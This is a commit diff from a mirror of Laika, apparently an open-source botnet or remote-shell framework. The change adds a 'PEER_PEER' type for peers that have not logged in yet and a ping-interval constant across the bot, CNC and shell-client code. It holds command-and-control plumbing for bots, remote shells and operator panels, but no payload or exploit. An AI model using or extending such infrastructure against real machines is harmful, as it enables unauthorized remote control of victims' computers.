1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 20:40:05 +00:00

Lib: added PEER_PEER type for uninitalized peers

- defined LAIKA_PING_INTERVAL for the ping task
This commit is contained in:
CPunch 2022-06-30 09:18:01 -05:00
parent bc9891bcfd
commit bc071c10d2
9 changed files with 45 additions and 17 deletions

View File

@ -87,7 +87,7 @@ struct sLaika_bot *laikaB_newBot(void)
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot); laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
laikaT_initTaskService(&bot->tService); laikaT_initTaskService(&bot->tService);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot); laikaT_newTask(&bot->tService, LAIKA_PING_INTERVAL, laikaB_pingTask, (void *)bot);
/* init shells */ /* init shells */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { for (i = 0; i < LAIKA_MAX_SHELLS; i++) {

View File

@ -42,6 +42,7 @@ struct sLaika_authInfo
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData) #define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData) #define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc);
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc); struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc); struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo); void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);

View File

@ -116,6 +116,10 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \ sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \
false) false)
struct sLaika_peerPacketInfo laikaC_peerPktTable[LAIKAPKT_MAXNONE] = {
DEFAULT_PKT_TBL
};
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = { struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
DEFAULT_PKT_TBL, DEFAULT_PKT_TBL,
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
@ -213,7 +217,6 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc)
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{ {
int i; int i;
GETPINFOFROMPEER(peer)->completeHandshake = true;
/* add to peer lookup map */ /* add to peer lookup map */
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
@ -223,13 +226,25 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
laikaC_sendNewPeer(cnc->authPeers[i], peer); laikaC_sendNewPeer(cnc->authPeers[i], peer);
} }
switch (peer->type) {
case PEER_PEER:
/* should never be reached */
break;
case PEER_BOT:
/* TODO */
break;
case PEER_AUTH:
/* add peer to panels list (if it's a panel) */ /* add peer to panels list (if it's a panel) */
if (peer->type == PEER_AUTH) {
laikaC_addAuth(cnc, peer); laikaC_addAuth(cnc, peer);
/* send a list of peers */ /* send a list of peers */
laikaC_sendPeerList(cnc, peer); laikaC_sendPeerList(cnc, peer);
break;
default:
break;
} }
GETPINFOFROMPEER(peer)->completeHandshake = true;
} }
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
@ -243,15 +258,16 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
/* close any open shells */ /* close any open shells */
laikaC_closeShells(peer); laikaC_closeShells(peer);
switch (peer->type) { switch (peer->type) {
case PEER_BOT: { case PEER_PEER:
/* should never be reached */
break;
case PEER_BOT:
/* TODO */ /* TODO */
break; break;
} case PEER_AUTH:
case PEER_AUTH: {
/* remove peer from panels list */ /* remove peer from panels list */
laikaC_rmvAuth(cnc, peer); laikaC_rmvAuth(cnc, peer);
break; break;
}
default: default:
break; break;
} }
@ -276,6 +292,10 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
/* update accepted packets */ /* update accepted packets */
peer->type = type; peer->type = type;
switch (type) { switch (type) {
case PEER_PEER:
peer->packetTbl = laikaC_peerPktTable;
peer->uData = laikaC_newPeerInfo(cnc);
break;
case PEER_AUTH: case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl; peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc); peer->uData = laikaC_newAuthInfo(cnc);
@ -371,8 +391,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
for (i = 0; i < numEvents; i++) { for (i = 0; i < numEvents; i++) {
evnt = &evnts[i]; evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */ if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc, peer = laikaS_newPeer(laikaC_peerPktTable, &cnc->pList, laikaC_onPollFail, cnc,
(void *)laikaC_newBotInfo(cnc)); (void *)laikaC_newPeerInfo(cnc));
LAIKA_TRY LAIKA_TRY
/* setup and accept new peer */ /* setup and accept new peer */

View File

@ -21,6 +21,11 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz)
return pInfo; return pInfo;
} }
struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc)
{
return (struct sLaika_peerInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_peerInfo));
}
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc)
{ {
struct sLaika_botInfo *bInfo = struct sLaika_botInfo *bInfo =
@ -147,21 +152,20 @@ void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
switch (type) { switch (type) {
case PEER_BOT: case PEER_BOT:
laikaC_setPeerType(cnc, peer, PEER_BOT);
break; break;
case PEER_AUTH: case PEER_AUTH:
/* check that peer's pubkey is authenticated */ /* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount)) if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n"); LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
/* notify cnc */
laikaC_setPeerType(cnc, peer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer); LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
break; break;
default: default:
LAIKA_ERROR("Unknown peerType [%d]!\n", type); LAIKA_ERROR("Unknown peerType [%d]!\n", type);
} }
/* notify cnc */
laikaC_setPeerType(cnc, peer, type);
LAIKA_DEBUG("Peer login for %p accepted!\n", peer); LAIKA_DEBUG("Peer login for %p accepted!\n", peer);
} }

View File

@ -16,6 +16,7 @@
#define LAIKA_MAX_SHELLS 16 #define LAIKA_MAX_SHELLS 16
#define LAIKA_HANDSHAKE_SALT_LEN 32 #define LAIKA_HANDSHAKE_SALT_LEN 32
#define LAIKA_PING_INTERVAL 5000
/* /*
first handshake between peer & cnc works as so: first handshake between peer & cnc works as so:

View File

@ -9,9 +9,9 @@
typedef enum typedef enum
{ {
PEER_UNKNWN, PEER_PEER, /* unlogged-in peer */
PEER_BOT, PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */ PEER_CNC, /* cnc 2 cnc communication (unused) */
PEER_AUTH /* authorized peers can send commands to cnc */ PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE; } PEERTYPE;

View File

@ -16,7 +16,7 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
peer->pList = pList; peer->pList = pList;
peer->uData = uData; peer->uData = uData;
peer->pktSize = 0; peer->pktSize = 0;
peer->type = PEER_UNKNWN; peer->type = PEER_PEER;
peer->osType = OS_UNKNWN; peer->osType = OS_UNKNWN;
peer->pktID = LAIKAPKT_MAXNONE; peer->pktID = LAIKAPKT_MAXNONE;
peer->outStart = -1; peer->outStart = -1;

View File

@ -222,7 +222,7 @@ void shellC_init(tShell_client *client)
client->peerTblCount = 0; client->peerTblCount = 0;
laikaT_initTaskService(&client->tService); laikaT_initTaskService(&client->tService);
laikaT_newTask(&client->tService, 5000, shell_pingTask, client); laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
/* load authenticated keypair */ /* load authenticated keypair */
if (sodium_init() < 0) { if (sodium_init() < 0) {

View File

@ -35,6 +35,8 @@ void shellP_freePeer(tShell_peer *peer)
char *shellP_typeStr(tShell_peer *peer) char *shellP_typeStr(tShell_peer *peer)
{ {
switch (peer->type) { switch (peer->type) {
case PEER_PEER:
return "Peer";
case PEER_BOT: case PEER_BOT:
return "Bot"; return "Bot";
case PEER_CNC: case PEER_CNC: